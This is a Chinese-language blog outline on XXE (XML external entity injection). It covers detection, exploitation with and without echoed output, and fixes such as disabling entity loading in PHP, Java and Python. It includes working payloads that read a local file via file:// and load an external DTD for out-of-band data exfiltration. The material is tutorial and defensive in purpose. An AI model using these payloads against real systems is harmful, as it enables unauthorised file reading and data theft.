-
xxe&xml
-
探针
-
黑盒
- content-type
- 获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
- svg&excel引用
- 数据格式
- content-type
-
白盒
- 可以通过应用功能追踪代码定位审计
- 可通过脚本特定函数搜索定位审计
- 可通过伪协议玩法绕过相关修复等
-
-
利用
-
无回显
- dtd实体带外访问,将数据参数发送
- HTTP带外访问,加载实体
- file读取文件,先读取
- 接受文件接受数据处理
-
有回显
-
file协议,读取文件
-
读取文件
- <?xml version="1.0"?>
- <!DOCTYPE xiaodi [
- <!ENTITY test SYSTEM "file:///d:/1.txt">
- ]>
- <user><username>&test;</username><password>xiaodi</password></user>
-
外部实体引用dtd
- <?xml version="1.0" ?>
- <!DOCTYPE test [
- <!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd">
- %file;
- ]>
- <user><username>&send;</username><password>xiaodi</password></user>
-
- HTTP带外访问
-
- 伪装协议玩法
-
-
前置
- 缘由:传输和存储数据
- xml
- 危害:文件读取,端口探针
- 缘由:传输和存储数据
-
修复
- 禁用dtd实体引用
- 过滤关键字:<!DOCTYP <!ENTITY, SYSTEM PUBLIC
- 方案
-
禁用外部实体
- PHP
- libxml_disable_entity_loader(true);
- Java
- DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
- python
- from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
- PHP
-
- 原理及漏洞
-
XXE(XML外部实体注入)漏洞
Dawndddddd2026-01-28 8:28
相关推荐
执明wa6 分钟前
LayoutInflater详解: XML是如何变成View的?IT_Octopus2 天前
一次由 RestTemplate 引发的 Connection reset:被 XML 截胡的请求体Dontla2 天前
网站爬虫控制策略介绍(robots.txt、sitemap.xml、x-robots-tag、noindex、nofollow)网站索引风起洛阳@不良使3 天前
spring中xml和注解开发的对比Mikowoo0074 天前
批量汇总XML格式的发票信息逃逸线LOF5 天前
xml文件如何加载properties文件(spring容器加载properties文件)前网易架构师-高司机7 天前
带标注的山体滑坡塌方数据集数据集,识别率78.1%,974张图,支持yolo,coco json,voc xml,文末有模型训练代码程序媛kelly7 天前
.xml / .jrxml 文件怎么打开?OpenFiles 实测预览、编辑、搜索与 AI 摘要排查流程潘潘的嵌入式日记8 天前
改完Keil工程文件被缓存覆盖?——uvprojx编辑的进阶四坑Full Stack Developme8 天前
Flowable XML标签大全